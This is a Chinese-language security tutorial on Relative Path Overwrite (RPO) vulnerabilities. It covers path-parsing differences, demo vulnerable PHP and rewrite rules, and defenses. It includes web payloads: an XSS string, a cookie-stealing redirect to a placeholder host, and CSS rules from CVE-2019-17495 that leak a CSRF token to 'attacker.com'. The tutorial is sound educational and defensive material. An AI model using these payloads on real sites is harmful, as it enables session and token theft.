浅谈一个冷饭-RPO漏洞的利用
字数 1171 2025-08-22 18:37:22
RPO漏洞原理与利用详解
1. RPO漏洞概述
RPO(Relative Path Overwrite)是一种基于服务器与客户端路径解析差异的安全漏洞,最早可追溯到2014年。该漏洞的核心在于服务器和浏览器对URL路径的解析方式不同,导致资源加载路径可以被攻击者控制。
1.1 基本概念
- URL重写:服务器将特定格式的URL重定向到实际处理程序(如
/index.php/1234被服务器识别为index.php带参数) - 相对路径解析:浏览器将整个URL路径视为当前目录,包括重写后的部分
- 资源加载差异:服务器返回的是原始页面内容,但浏览器会尝试在重写后的路径下加载资源
2. 漏洞原理分析
2.1 基本示例
考虑以下两种资源引用方式:
<script src="/src/main.js"></script> <!-- 绝对路径 -->
<script src="src/main.js"></script> <!-- 相对路径 -->
访问http://web.com/index.php时两者行为相同,但访问http://web.com/index.php/时:
- 绝对路径:加载
/src/main.js - 相对路径:浏览器会将
/index.php/视为目录,尝试加载/index.php/src/main.js
2.2 CSS注入场景
<link rel="stylesheet" type="text/css" href="style.css" />
访问index.php/tmp/时:
- 服务器返回
index.php内容 - 浏览器尝试加载
index.php/tmp/style.css - CSS解析器会忽略无效语法,导致页面内容被当作CSS解析
3. 漏洞利用实例
3.1 Demo1:XSS利用
漏洞代码:
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path'])) . " 2>/dev/null &"), $output);
echo($output[0]);
}
?>
利用条件:
- 使用相对路径加载JS文件
- 存在DOM XSS漏洞
- 有Bot会访问用户提供的路径
利用步骤:
- 访问
index.php/和index.php观察资源加载差异 - 构造XSS payload绕过过滤:
3.2 Demo2:进阶利用
服务器配置:
RewriteEngine on
RewriteRule ^/(.*\.(js|css))$ /static/$1 [L]
ErrorDocument 404 /404.php
404.php:
<?php
header("HTTP/1.1 200 OK");
echo $_SERVER["REQUEST_URI"] . " not found.";
?>
利用方法:
- 访问
/index.php/filter.js使PHP内容被当作JS执行 - 构造payload:
/index.php/;alert(1)//
- 窃取cookie:
;location.href='https://xxx.com/'%2bdocument.cookie;//
4. 真实案例:CVE-2019-17495
漏洞描述:
Swagger UI存在RPO+CSS注入漏洞,可通过构造特殊CSS规则窃取CSRF token。
利用方式:
input[name=csrf][value^=aa]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=ab]{
background-image: url(https://attacker.com/exfil/b);
}
...
input[name=csrf][value^=a9]{
background-image: url(https://attacker.com/exfil/9);
}
通过观察请求顺序可逐步获取完整的CSRF token。
5. 防御措施
- 使用
<base>标签:
<base href="/">
确保所有相对路径基于指定基准,不受URL构造影响。
-
避免URL重写或严格限制重写规则
-
使用绝对路径引用所有资源
-
设置Content-Security-Policy头限制资源加载源
-
禁用不必要的HTTP方法如PUT、DELETE等
6. 总结
RPO漏洞虽然利用条件较为苛刻,但一旦与其他漏洞(如XSS、CSS注入)结合可能造成严重危害。防御关键在于统一服务器与客户端的路径解析方式,并严格控制资源加载行为。